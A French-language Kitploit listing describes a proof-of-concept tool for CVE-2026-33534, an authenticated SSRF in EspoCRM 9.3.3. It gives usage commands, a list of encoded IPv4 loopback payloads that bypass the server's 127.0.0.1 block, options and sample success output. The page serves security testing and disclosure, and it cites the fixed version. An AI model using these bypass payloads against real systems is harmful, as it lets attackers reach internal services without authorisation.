Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33534 — EspoCRM 9.3.3 - SSRF authentifié via la notation IPv4 alternative | Kitploit
Outils/GitHubGitHub/entrovyx/cve-2026-33534
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubentrovyx/cve-2026-33534

CVE-2026-33534

EspoCRM 9.3.3 - SSRF authentifié via la notation IPv4 alternative

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33534 - SSRF authentifié sur EspoCRM 9.3.3

Preuve de concept de SSRF authentifié pour EspoCRM 9.3.3 via une notation alternative de bouclage IPv4 dans le point de terminaison /api/v1/Attachment/fromImageUrl.

Résumé

EspoCRM 9.3.3 bloque les URL de bouclage directes telles que http://127.0.0.1/..., mais le chemin de récupération côté serveur accepte des représentations IPv4 alternatives que cURL normalise en bouclage. Cela permet à un utilisateur authentifié ayant accès au flux de téléversement d'images/pièces jointes concerné de faire récupérer des ressources internes par le serveur EspoCRM.

L'exploit soumet d'abord une requête de contrôle directe vers 127.0.0.1 et s'attend à ce qu'elle soit bloquée avec un code HTTP 403. Il teste ensuite plusieurs charges utiles de bouclage encodées et signale celles qui produisent une pièce jointe stockée.

Version concernée

  • Vulnérable : EspoCRM 9.3.3
  • Corrigé : EspoCRM 9.3.4
  • Avis de sécurité : https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  • CVE : CVE-2026-33534
  • CWE : CWE-918
  • Prérequis

    • Python 3
    • requests
    • Identifiants EspoCRM valides
    • Autorisation d'utiliser le champ image/pièce jointe cible

    Installer la dépendance :

    root@kitploit:~
    python3 -m pip install requests
    

    Utilisation

    Validation locale de base contre une instance EspoCRM exécutée sur le port 8083 :

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u http://127.0.0.1:8083 \
      -U admin \
      -P 'Admin12345!' \
      --internal-port 8083 \
      --cleanup
    

    Tester un service interne sur un port et un chemin personnalisés :

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --internal-port 9002 \
      --internal-path /interno.png \
      --cleanup
    

    Utiliser uniquement des charges utiles personnalisées :

    root@kitploit:~
    python3 CVE-2026-33534.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --no-default-payloads \
      --payload 0x7f000001 \
      --payload 2130706433
    

    Charges utiles par défaut

    L'exploit teste ces représentations d'hôte de bouclage par défaut :

    root@kitploit:~
    0177.0.0.1
    0177.0000.0000.0001
    0177.1
    0x7f.0.0.1
    0x7f.0x0.0x0.0x1
    0x7f000001
    2130706433
    017700000001
    127.1
    127.0.1
    127.000.000.001
    0000000000000000000000000177.0.0.1
    

    Les fichiers de charges utiles personnalisées sont pris en charge. Chaque ligne peut être soit :

    root@kitploit:~
    host
    label=host
    

    Exemple :

    root@kitploit:~
    hex-dword=0x7f000001
    decimal-dword=2130706433
    

    Exécuter avec :

    root@kitploit:~
    python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
    

    Options

    root@kitploit:~
    -u, --url                 URL de base EspoCRM
    -U, --username            Nom d'utilisateur EspoCRM
    -P, --password            Mot de passe EspoCRM
    --internal-port           Port de bouclage interne à récupérer
    --internal-path           Chemin interne à récupérer
    --payload                 Notation d'hôte de bouclage supplémentaire
    --payload-file            Fichier contenant une charge utile d'hôte par ligne
    --no-default-payloads     Utiliser uniquement les charges utiles personnalisées
    --field                   Champ de pièce jointe, défaut : avatar
    --parent-type             Type d'entité parente, défaut : User
    --parent-id               Identifiant d'entité parente facultatif
    --cleanup                 Supprimer les pièces jointes créées par les charges utiles réussies
    --stop-on-first           S'arrêter après le premier contournement réussi
    --insecure                Désactiver la vérification du certificat TLS
    

    Sortie attendue

    Une exploitation réussie montre le contrôle de bouclage direct bloqué et une ou plusieurs charges utiles encodées acceptées :

    root@kitploit:~
    [*] Control response: HTTP 403 Not allowed URL.
    [+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
    [+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438
    
    [+] Vulnerable behavior confirmed.
    [+] Direct loopback control: HTTP 403
    [+] Successful payloads: 12
    

    Remarques

    • La preuve de concept par défaut récupère /client/img/logo-light.svg depuis le propre écouteur de bouclage de la cible. Ajustez --internal-port et --internal-path pour un autre service interne.
    • Le champ par défaut est User.avatar ; utilisez --field, --parent-type et --parent-id si le compte testé nécessite un contexte de téléversement différent.
    • Utilisez --cleanup pendant les tests pour supprimer automatiquement les pièces jointes créées.
    Télécharger l’outil